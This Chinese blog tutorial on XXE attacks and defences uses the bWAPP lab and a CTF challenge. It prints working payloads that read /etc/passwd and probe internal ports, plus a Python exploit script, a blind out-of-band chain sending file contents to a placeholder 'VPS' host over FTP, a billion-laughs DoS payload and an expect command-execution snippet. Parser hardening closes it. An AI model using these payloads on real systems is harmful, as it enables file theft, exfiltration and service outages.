• [Web安全] XXE漏洞攻防学习(中)


    0x00、XXE漏洞攻击实例

    攻击思路:

    1. 引用外部实体远程文件读取

    2. Blind XXE

    3. Dos

    0x01、外部实体引用,有回显

    实验操作平台:bWAPP平台上的XXE题目

    题目:

    进行抓包,点击Any bugs?按钮,抓包如下:

    可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据。

    既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击

    获取系统密码文件 payload:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    
    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

    读取网站目录任意文件 payload:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
    ]>
    
    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

    为了加深理解,查看xxe-2.php的源码

    主要的代码:

    可以看到这里直接用了“simplexml_load_string()”函数。

     simplexml_load_string()函数的作用是把XML字符串载入对象中,函数获取xml内容,并没有进行任何的过滤。$login获取login标签里的内容,最后拼接到$message并显示在屏幕上

    内网端口检测 payload:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
    ]>
    
    <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

    若80端口开放,回显如下的报错信息

    若端口不开放,则显示如下信息:

     利用python写了一个简单的exp,进行测试,如下:

    #coding=utf-8
    import requests
    
    if __name__ == '__main__':
        
        payload = raw_input('输入你想利用xxe得到的资源,如file:///etc/passwd
    payload:'.decode('utf-8').encode('gbk'))
        
        url = 'http://192.168.31.195/bWAPP/xxe-2.php'
        headers = {'Content-type':'text/xml'}
        
        cookies = {'PHPSESSID':'4e2c24a64c85a86bc69b09736828af9b','security_level':'0'}
        
        xml = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ payload +'">]><reset><login>&test;</login><secret>login</secret></reset>'
        
        r = requests.post(url,headers=headers,cookies=cookies,data=xml)
        print 'xxe攻击返回结果:'.decode('utf-8').encode('gbk')
        print r.content

    运行结果:

     我们再来学习一下这个xxe挑战的中级和高级的源码

    // Disables XML external entities. Doesn't work with older PHP versions!
        // libxml_disable_entity_loader(true);
        $xml = simplexml_load_string($body);
        
        // Debugging
        // print_r($xml);
    
        $login = $_SESSION["login"];
        $secret = $xml->secret;
    
        if($secret)
        {
    
            $secret = mysqli_real_escape_string($link, $secret);
    
            $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
    
            // Debugging
            // echo $sql;      
    
            $recordset = $link->query($sql);
    
            if(!$recordset)
            {
    
                die("Connect Error: " . $link->error);
    
            }
    
            $message = $login . "'s secret has been reset!";
    
        }
    
        else
        {
    
            $message = "An error occured!"; 
    
        }

    分析可以看出,$login现在是直接在SEESION里面取,不再利用xml进行提交。并且使用了mysqli_real_escape_string()函数对$secret进行了特殊字符转义

     实例二:

    jarvisoj上的一道题目API调用

    这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

    进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包

     

    是一个json数据提交,修改数据发现可以被解析

    这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可

     0x02、Blind XXE

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。

    所以,在没有回显的情况下如何来利用XXE

    思路:

    1. 客户端发送payload 1给web服务器

    2. web服务器向vps获取恶意DTD,并执行文件读取payload2

    3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

    4. 通过VPS获得回显(nc监听端口)

    本地客户端(payload 1 )

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

    由于web端会解码,所以需要我们先html实体编码一次

    payload 2 也就是test.xml的内容(VPS)

    <!ENTITY % payload SYSTEM "file:///etc/passwd">
    <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
    %int;
    %trick;

    这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容

    0x03、DOS

    <?xml version="1.0"?>
       <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

    这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

    0x04、命令执行

    php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了

    <?php 
    $xml = <<<EOF
    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
      <!ENTITY f SYSTEM "except://ls">
    ]>
    <x>&f;</x>
    EOF;
    $data = simplexml_load_string($xml);
    print_r($data);
    ?>

    0x05、防御XXE

    使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    过滤用户提供的XML数据

    过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

     不允许XML中含有自己定义的DTD

  • 相关阅读:
    博客发在oschina
    博客发在oschina
    C#将dll打包到程序中
    C#将dll打包到程序中
    WPF checkbox文字下掉
    WPF checkbox文字下掉
    手机1520 win8.1升级win10
    CRITICAL **: Couldn't acquire global lock, snapshots will not be consistent: Access denied
    [学习笔记]Dsu On Tree
    手机1520 win8.1升级win10
  • 原文地址:https://www.cnblogs.com/ESHLkangi/p/9246327.html
Copyright © 2020-2023  润新知